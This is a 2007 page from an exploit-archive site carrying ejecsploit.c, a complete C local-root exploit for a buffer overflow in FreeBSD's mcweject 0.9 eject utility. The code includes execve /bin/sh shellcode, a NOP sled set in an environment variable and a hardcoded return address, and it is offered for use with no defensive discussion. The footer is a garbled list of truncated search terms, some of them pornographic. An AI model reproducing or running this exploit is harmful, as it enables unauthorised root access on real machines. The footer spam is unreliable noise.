about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit




2007-03-26 FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit
Rated as : Critical

// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

  char buf[LEN];
  char* ptr;
  char* arg[4];
  unsigned int ret, i;
  char
shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
                  
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
                   "\x80\xe8\xe4\xff\xff\xff/bin/sh";
  // hardcoded... too boneidle to fix this
  ret = 0xbfbfee16;
  char envshell[4096];
  ptr = envshell;
  for (i = 0; i < 4096 - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
  for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
  *(ptr) = 0x0;
  memcpy (envshell, "BLEH=",5);
  putenv(envshell);

  memset (buf, 0x41, sizeof(buf));
  buf[LEN-5] = (char) ( 0x000000ff & ret);
  buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
  buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
  buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
  buf[LEN-1] = 0x0;

  arg[0] = "./eject";
  arg[1] = "-t";
  arg[2] = buf;
  arg[3] = NULL;

  execve (arg[0], arg, environ);

  return 0;
}

securitydot.net - 2007-03-26

Advertising

Copyright 2007, SecurityDot
Tue, 24 Nov 2009 05:49:26 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.g714.c indian.pus CMS is Fre www.jiaoyo Clib video blouse sex o my goody ishiqi.cn vuln/explo Xxx3gpvidi n...p?opti www.8el.cn photos of http://www mallu resh sam&am search/exp news for c adode phot 798123.com Fameliysex www.teffin www.gadis qqdao.5d6d bbs.psysop Marathiton ...t/comp www.ushowu csftpd Video clip Apache htt women dog Free Sex v news for c madgoat.cn Vidiosexin www.jneee. www.18xsw. Vidiosexin www.czxfjd news for c +vBulletin Tetek Temp Reemission www.shawca Microsoft luckcr.blo www.bthyby www.langzi www.sefidb